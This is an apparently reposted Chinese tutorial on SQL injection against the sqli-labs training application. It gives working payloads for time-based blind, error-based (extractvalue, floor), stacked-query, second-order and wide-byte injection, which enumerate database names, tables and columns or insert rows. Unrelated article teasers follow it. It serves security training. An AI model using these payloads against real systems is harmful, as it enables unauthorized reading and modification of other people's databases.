SQL注入-中篇

SQL盲注

一、时间盲注

模拟环境:Less-9

  1. 概述

延迟注入,一种盲注的手法,提交对执行时间敏感的sql语句,通过执行时间的长短来判断是否执行成功。

  1. 时间注入函数
sleep()
if()
ascii()
substring()
length()
mid()

判断是否存在延时注入(Less-9)
  1. 源SQL:SELECT * FROM users WHERE id='$id' LIMIT 0,1
  2. 判断方式一
# 如果存在注入,请求结果将在延时函数执行后才会返回。
# SQL
select * from `security`.users where id ="1" and sleep(5) -- # 注入http://10.196.93.67/sqli-labs/Less-9/?id=1' and sleep(5) --
  1. 判断方式二
# 如果存在注入,请求结果将在延时函数执行后才会返回。
# SQL
select * from `security`.users where id ="1" and if(1=1,sleep(4),1) -- #注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(1=1 ,sleep(5),1) -- 

image.png

查询当前数据库的长度

结果为:8位

# SQL select * from `security`.users where id ="1" and if((select length(database()))=8,sleep(4),1) -- #注入http://10.196.93.67/sqli-labs/Less-9/?id=1' and if( (select length(database()))=8 ,sleep(5),1) -- 

image.png

查询当前数据库名
#sql 
select * from `security`.users where id = "1"  and if (substr((select  database() limit 0,1),1,1) = "s",sleep(5),1);# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if (substr((select  database() limit 0,1),1,1) = "s",sleep(5),1) -- 

image.png

查询当前数据库表的数量
#sql
select * from `security`.users where id = "1" and if((select count(*) from information_schema.`TABLES` where table_schema = database())=4,sleep(5),1);# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1'  and if((select count(*) from information_schema.`TABLES` where table_schema = database())=4,sleep(5),1) -- 

image.png

查询当前数据库表的名称
# sql
select * from `security`.users where id = "1" and if(substr((select table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)="e",sleep(5),1);# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)="e",sleep(5),1) -- 

image.png

查询当前数据库users表的字段个数
# sql
select * from `security`.users where id = "1" and if(( select count(*) from information_schema.columns  where table_name = "users" and table_schema=database())=3,sleep(5),1)# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(( select count(*) from information_schema.columns  where table_name = "users" and table_schema=database())=3,sleep(5),1) -- 

image.png

查询当前数据库users表的字段名称
# sql
select * from `security`.users where id = "1" and if( substr(( select column_name  from information_schema.columns  where table_name = "users" and table_schema=database() limit 0,1),1,1) ="i",sleep(5),1)
# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1'  and if( substr(( select column_name  from information_schema.columns  where table_name = "users" and table_schema=database() limit 0,1),1,1) ="i",sleep(5),1) -- 

image.png

二、报错注入

概述

报错注入是将mysql存在的函数,通过编写错误的SQL语句,从而得到需要的查询结果。

使用场景
  1. 能够将SQL报错信息展示到页面上
  2. 使用mysql自带的函数,通过错误的使用,导致语法被执行
利用函数
floor() #重点
extractvalue() #重点
updatexml() # 重点
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()

报错注入-固定写法

extractvalue()
  1. 示例
#SQL语句
select * from `security`.users where id ="1" and  (extractvalue(1,concat("~",(select user()),"~"))) -- 
# 结果:
/*
[SQL]select * from `security`.users where id ="1" and  (extractvalue(1,concat("~",(select user()),"~"))) -- [Err] 1105 - XPATH syntax error: '~root@localhost~'*/

floor()
  1. 概述

floor报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致查询临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且抛出的SQL语句执行后的结果。

  1. 函数作用:
    1. floor() 向下取整
select floor(-1.8)  # -2
select floor(1.1) # 1
select floor(1.8) # 1
  1. count(): 计数
  2. concat() : 将字符连接
  3. rand():伪随机函数(当该函数传入参数时,返回的值就是固定的,没有传参就是随机的)
select rand(); # 值是随机的
select rand(1);# 第一次随机值是多少,后面在执行也是第一次返回的值
  1. group by 分组
# 示例 对username字段进行分组
select count(*) ,username from `security`.users group by username;
# 结果:

image.png

updataxml()

image.png

堆叠注入

一、原理

php方法:mysql_multi_query()
支持多条sql语句同时执行,通过分号分隔,成堆的执行sql语句

select user();select database();

二、Less-38

# sql
select * from users; insert into users(id,username,password) value(22,"a","e");# 注入
http://10.196.93.67/sqli-labs/Less-38/?id=1' ; insert into users (id,username,password) value(33,"v","v") -- 

image.png

二次注入

一、利用场景

  1. 能够将恶意SQL存入到数据库中
  2. 保证在网页方可以引用该数据

二、Less-24

  1. 万能密码
    1. admin ' and 1=1 #
#sql
select * from `security`.users union select 1,user(),database();
# 在注册用户名和密码时,用户名输入框输入SQL: v ' union select 1,user(),database();

image.png

宽字节注入

一、原理

网站对注入SQL点添加了过滤条件,不能添加单引号,宽字节注入就是为了绕过检测过滤的。

二、注入条件

  1. 条件一
    1. 数据库查询设置为GBK编码
  2. 条件二
    1. 使用了addslashes()mysql_real_escape_string()/mysql_escape_string()之类的函数

三、Less-36

尝试使用%81来检测
image.png

HTTP请求头注入

Useragent注入(Less-18)

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/29595.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

存储文件夹下所有.cpp和.h的代码到对应的txt文件里

最近大半年刷了160多天的题,每次刷的时候都要新建一个VS文件,所以文件内存太大了,又舍不得删,就用ai整了一个脚本,可将当前路径下的所有文件里的.cpp和.h文件储存到相应名字的txt文件里,若文件夹下还有文件…

SpringBoot + Maven 项目的创建

文章目录 1、Maven2、SpringBoot3、二者之间的联系4、项目的创建 在创建项目之前,肯定要知道他们之间的区别 1、Maven maven是一个跨平台的项目管理工具。它是Apache的一个开源项目,主要服务于基于Java平台的项目构建、依赖管理和项目信息管理。 比如说…

Spring注解----------@Deprecated

情景: 在我们开发过程中,有时候会遇到我们需要将几个类中的方法集中到一个类中,但是我们又不希望把我们的原来的类删掉(就是单纯的不想删除,都是我写的代码我不想杀死我的结晶,不能说我写的是shi&#xff…

为什么要选择华为 HCIE-Security 课程?

2020 年我国网络安全市场规模达到 680 亿元,同比增长 25%。随着对网络安全的愈加重视及布局,市场规模将持续扩大。 近年来,随着“云大物工移智”等新兴技术的快速发展和普及应用,数字化已经融入社会经济生活的方方面面&#xff0c…

自我激励学习提升语言模型的推理能力

随着人工智能技术的快速发展,语言模型(LMs)在各种下游任务中展现出了卓越的能力。特别是在少样本(few-shot)和零样本(zero-shot)学习环境中,通过吸收特定任务的指令和示例&#xff0…

Makefile 编译文件中的c文件,输出可执行文件main

Makefile文件 CC aarch64-linux-gnu-gcc CFLAGS SRCS $(wildcard *.c) OBJS $(SRCS:.c.o) TARGET mainall: $(TARGET)$(TARGET): $(OBJS)$(CC) $(CFLAGS) -o $ $^%.o: %.c$(CC) $(CFLAGS) -c $< -o $clean:rm -f $(OBJS) $(TARGET)执行make之后输出&#xff1a; to…

CLIP: Learning Transferable Visual Models From Natural Language Supervision

1、引言 论文链接&#xff1a;ReadPaper 现在最先进的计算机视觉系统都是训练模型来预测一组固定的、预定义好的目标类别&#xff08;如 ImageNet 的 1000 类和 COCO 的 80 类&#xff09;。这种受限制的监督形式限制了它们的通用性和可用性&#xff0c;因为需要额外的标记数据…

深入探索 MongoDB GridFS:高效大文件存储与管理的全面指南

GridFS 是 MongoDB 的一个规范&#xff0c;用于存储和检索超过 BSON 文档大小限制&#xff08;16MB&#xff09;的文件。与传统的文件系统不同&#xff0c;GridFS 可以将一个大文件分割成多个小块&#xff0c;并存储在 MongoDB 的两个集合中&#xff1a;fs.files 和 fs.chunks。…

光纤通信基础(光纤的构造、工作原理、色散、工作频段、损耗、分类、不同标准及应用、接口类型、常见标示方法、熔接)

文章目录 光纤的构造&#xff1a;纤芯、包层、涂覆层光纤的工作原理&#xff1a;利用全反射来传输光信号光纤的色散光纤的工作频段光纤的损耗光纤的分类光纤的不同标准及应用光纤的接口类型&#xff08;SC、LC、ST、FC&#xff09;光纤的常见标示方法&#xff1a;如“FC/PC”&a…

项目准备和启动

1.什么是项目建议书&#xff1f; 2.项目建议书的内容 3.可行性分析方法 4.项目组织结构&#xff08;职能型 项目型 矩阵型&#xff09; 5.项目管理层决策层执行层之间的关系 6.软件项目的可行性分析包括哪几个方面&#xff1f;影响决策的关键因素又是什么&#xff1f; 软件项目…

mysql的双机热备

一般主从复制是主服务器数据库可读可写&#xff0c;从服务器数据库只读&#xff0c;而双机热备是主从服务器的数据库双向复制&#xff0c;从服务器数据库可读也可写。 说到主从复制不得不说–读写分离&#xff0c;此介绍请看这一篇 一文浅谈“读写分离”技术 双机热备的概念简…

鸿蒙开发实战:灵活定制Tabs组件,实现个性化页签布局

闪客 沉默的闪客 2024-06-16 20:01 陕西 大家好&#xff0c;又一个项目已经基本完成 是一个元服务英语单词卡片项目&#xff0c;后面一步一步的进行分析拆解&#xff0c;今天来实现一个Tabs组件自定义界面开发。 鸿蒙ArkUI 开发的时候&#xff0c;Tabs 组件很常用&#xff0c;…

CDA二级(Level II)数据分析师——考试内容梳理三(简单重点案例)

PR曲线是基于召回率的准确性来进行判断的&#xff1b; 混淆矩阵&#xff1a; ROC曲线以真阳性率&#xff08;敏感性、召回率&#xff09;为纵坐标&#xff0c;假阳性率&#xff08;1-特异性&#xff09;为横坐标 假阳性率&#xff1a;负样本中被误认为正样本的概率 FP/FPTN 真…

什么是作用域?作用域有哪几种?

**作用域&#xff08;Scope&#xff09;**是一个程序设计中的重要概念&#xff0c;它指的是变量、函数和对象在程序中可访问和引用的区域。作用域决定了代码块中声明的变量、函数和对象的可见性和生命周期。不同的编程语言提供了不同的作用域类型&#xff0c;以下是几种常见的作…

基于B/S版java语言+SpringBoot技术开发的云HIS系统源码 HIS系统住院业务模块常见问题及解决方案

基于B/S版java语言SpringBoot技术开发的云HIS系统源码 HIS系统住院业务模块常见问题及解决方案 随着医疗技术的不断提高&#xff0c;住院治疗已成为许多病人的常规选择。但是&#xff0c;住院治疗不仅需要医护人员的精心照顾&#xff0c;也需要个高效的信息系统来保证整个治疗过…

C语言程序设计-8 函 数

8.1 概述 在前面已经介绍过&#xff0c;&#xff23;源程序是由函数组成的。虽然在前面各章的程序中大都只有一个 主函数 main()&#xff0c;但实用程序往往由多个函数组成。函数是&#xff23;源程序的基本模块&#xff0c;通过对函 数模块的调用实现特定的功能。&#xff23…

HBase学习之HBaseAPI

HBase学习之HBaseAPI: package com.shujia.base;import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.hbase.*; import org.apache.hadoop.hbase.client.*; import org.apache.hadoop.hbase.util.Bytes; import org.junit.After; import org.junit.Before…

Unity制作透明材质直接方法——6.15山大软院项目实训

之前没有在unity里面接触过材质的问题&#xff0c;一般都是在maya或这是其他建模软件里面直接得到编辑好材质的模型&#xff0c;然后将他导入Unity里面&#xff0c;然后现在碰到了需要自己在Unity制作透明材质的情况&#xff0c;所以先搜索了一下有没有现成的方法&#xff0c;很…

删除名为 `XXXX` 的 conda 环境的命令

要删除名为 musetalk 的 conda 环境,您可以使用以下命令: conda remove --name musetalk --all这个命令会删除 musetalk 环境及其中安装的所有包。 执行上述命令后,您可以使用 conda env list 命令验证该环境是否已被成功删除。 如果您想要保留该环境中安装的某些包,可以先使…

C++迈向精通:当我尝试修改虚函数表

尝试修改虚函数表 本期纯整活儿好吧&#xff01;&#xff01;&#xff01;&#xff01; 初衷 有一天我突然开始好奇虚函数表是否真的存在&#xff0c;于是我开始想是否能够从C中查看或者调用虚函数表中的内容。&#xff0c;于是有了下面的操作。 操作过程 起初我并没有思路…